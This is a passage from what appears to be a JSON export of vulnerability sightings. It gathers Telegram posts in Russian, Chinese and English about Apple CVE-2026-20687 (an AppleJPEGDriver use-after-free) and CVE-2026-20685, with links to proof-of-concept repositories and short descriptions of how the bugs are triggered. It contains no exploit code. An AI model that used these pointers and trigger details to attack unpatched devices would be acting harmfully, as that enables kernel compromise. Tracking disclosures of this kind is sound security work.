\u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0437\u0430\u043a\u043b\u0430\u0434\u043a\u0438: \u0442\u0443\u0442 \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0447\u0442\u043e \u0432\u0441\u0451 \u043d\u0443\u0436\u043d\u043e\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u0438 \u0441\u0440\u0430\u0437\u0443.\n\n\ud83c\udf1a @poxek | \ud83c\udf1a @poxek_ai | \ud83d\udcf2 MAX", "creation_timestamp": "2026-07-13T13:00:04.193243Z"}, {"uuid": "d241054a-1639-4217-8a77-a857ea62bada", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "published-proof-of-concept", "source": "https://t.me/poxek/6188", "content": "zeroxjf \u2014 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439, \u043d\u043e \u043f\u043b\u043e\u0442\u043d\u044b\u0439 \u0431\u043b\u043e\u0433 \u043f\u0440\u043e iOS security research: \u044f\u0434\u0440\u043e, SEP, IOKit, jailbreak/tweak-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u044e\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0438\u043d\u0434\u0435\u043a\u0441 \u0440\u0430\u0431\u043e\u0442: \u0440\u044f\u0434\u043e\u043c \u043b\u0435\u0436\u0430\u0442 PoC \u0434\u043b\u044f Apple kernel/SEP \u0431\u0430\u0433\u043e\u0432, \u0437\u0430\u043c\u0435\u0442\u043a\u0438 \u043f\u043e Cyanide \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 Metal \u0432 vphone. \u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043f\u043e\u043b\u0435\u0437\u043d\u044b \u0442\u0435\u043c, \u043a\u0442\u043e \u0445\u043e\u0447\u0435\u0442 \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 CVE, \u0430 \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0440\u0435\u0441\u0435\u0440\u0447\u0430, race window, panic signature, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0434\u043b\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f.\n\n\u0422\u043e\u043f-5 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432:\n\n1. CVE-2026-20637: AppleSEPKeyStore Use-After-Free \u2014 UAF \u0432 AppleKeyStore/AppleSEPKeyStore \u0447\u0435\u0440\u0435\u0437 \u0433\u043e\u043d\u043a\u0443 \u043c\u0435\u0436\u0434\u0443 IOConnectCallMethod \u0438 IOServiceClose; \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043d\u0430 iOS/macOS 26.1-26.2, \u043f\u0430\u0442\u0447 \u0437\u0430\u044f\u0432\u043b\u0435\u043d \u0432 iOS/iPadOS 26.3.\n2. SEP Exhaustion Kernel Panic \u2014 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 SEP firmware panic \u0447\u0435\u0440\u0435\u0437 AppleKeyStore selector 2 \u0438 open type 0x2022; \u043e\u043a\u043e\u043b\u043e 41 \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0439 crash signature \u0432 SKS.\n3. CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF \u2014 deferred kernel panic \u0432 AppleJPEGDriver: async decode \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 stale queue node, \u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 sync decode \u0447\u0435\u0440\u0435\u0437 Camera \u0434\u043e\u0431\u0438\u0432\u0430\u0435\u0442 UAF \u043d\u0430 \u043e\u0431\u0445\u043e\u0434\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u0438.\n4. Cyanide: Writing Tweaks \u2014 developer reference \u043f\u043e Cyanide tweaks: RemoteCall-\u0441\u0435\u0441\u0441\u0438\u0438, remote_objc API, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 tweak, Settings-\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044f \u0438 \u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 Theos/Substrate \u0431\u0435\u0437 SpringBoard dylib-\u0445\u0443\u043a\u043e\u0432.\n5. Patching Metal Graphics into vphone \u2014 clean-room shim \u0434\u043b\u044f Metal compiler plugin \u0432 vphone: \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 PCC dyld shared cache \u0438 \u0441\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 relocations, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 ~230 \u0441\u0442\u0440\u043e\u043a C++ \u0441 runtime symbol resolution.\n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0435\u0441\u044c \u0441\u0435\u0441\u0443\u0440\u0438\u0442\u0438 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u043c \u044f\u0434\u0440\u0430 iOS \u0438\u043b\u0438 \u0445\u043e\u0442\u0438\u0442\u0435 \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0431\u0430\u0433\u0438 \u0432\u043e\u043a\u0440\u0443\u0433 IOKit/SEP, zeroxjf \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0437\u0430\u043a\u043b\u0430\u0434\u043a\u0438: \u0442\u0443\u0442 \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0447\u0442\u043e \u0432\u0441\u0451 \u043d\u0443\u0436\u043d\u043e\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u0438 \u0441\u0440\u0430\u0437\u0443.\n\n\ud83c\udf1a @poxek | \ud83c\udf1a @poxek_ai | \ud83d\udcf2 MAX", "creation_timestamp": "2026-07-14T00:00:48.118094Z"}, {"uuid": "7ad7ad26-548c-41ed-ac54-83570ab86b64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/99989", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20687-AppleJPEGDriver-UAF\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xjohnnydev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Objective-C\n\u2b50 Star\u6570\u91cf\uff1a 19  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 3\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 16:43:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF \u2014 iOS/macOS kernel vulnerability leading to deferred panic (A19 Pro, iOS 26.3 RC)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-28T00:00:11.053426Z"}, {"uuid": "3e2959bd-505b-4c5d-8dae-5b6904ae5e04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/384", "content": "CVE-2026-20687\n\nA use after free issue was addressed with improved memory management. This issue is fixed in iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Sequoia 15.7.5, macOS Tahoe 26.4, tvOS 26.4, watchOS 26.4. An app may be able to cause unexpected system termination or write kernel memory.\n\nGitHub Link:\nhttps://github.com/enfilade-labs/CVE-2026-20687-AppleJPEGDriver-UAF", "creation_timestamp": "2026-08-28T00:00:31.973742Z"}, {"uuid": "c6020e25-9005-4f6c-a578-1088c191a7b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "seen", "source": "https://t.me/pphm_HackerNews/2557", "content": "\ud83d\udd34 Apple Private Cloud Compute Path Traversal Flaw Lets Attackers Write Files as Root\n\nSecurity researcher Drinor Selmanaj has disclosed a path traversal vulnerability (CVE-2026-20685) in Apple\u2019s Private Cloud Compute (PCC) that allows a privileged network attacker to write attacker-controlled files as root during node boot.\n\nThis flaw affects the Apple Intelligence cloud-inference infrastructure. Apple has addressed the issue in PCC Release 5E290.3 and later, rating it as an information disclosure vulnerability with a CVSS score of 6.5.", "creation_timestamp": "2026-08-23T00:00:46.952300Z"}, {"uuid": "188f4851-ff17-4859-b7a7-77e7184efa41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "seen", "source": "https://t.me/cve0day/384", "content": "CVE-2026-20687\n\nA use after free issue was addressed with improved memory management. This issue is fixed in iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Sequoia 15.7.5, macOS Tahoe 26.4, tvOS 26.4, watchOS 26.4. An app may be able to cause unexpected system termination or write kernel memory.\n\nGitHub Link:\nhttps://github.com/enfilade-labs/CVE-2026-20687-AppleJPEGDriver-UAF", "creation_timestamp": "2026-08-27T15:00:08.133414Z"}, {"uuid": "6a69c547-3b00-46c9-a998-13f3be384007", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "seen", "source": "https://t.me/GithubRedTeam/99989", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20687-AppleJPEGDriver-UAF\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xjohnnydev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Objective-C\n\u2b50 Star\u6570\u91cf\uff1a 19  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 3\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 16:43:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF \u2014 iOS/macOS kernel vulnerability leading to deferred panic (A19 Pro, iOS 26.3 RC)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-27T21:00:03.138356Z"}]}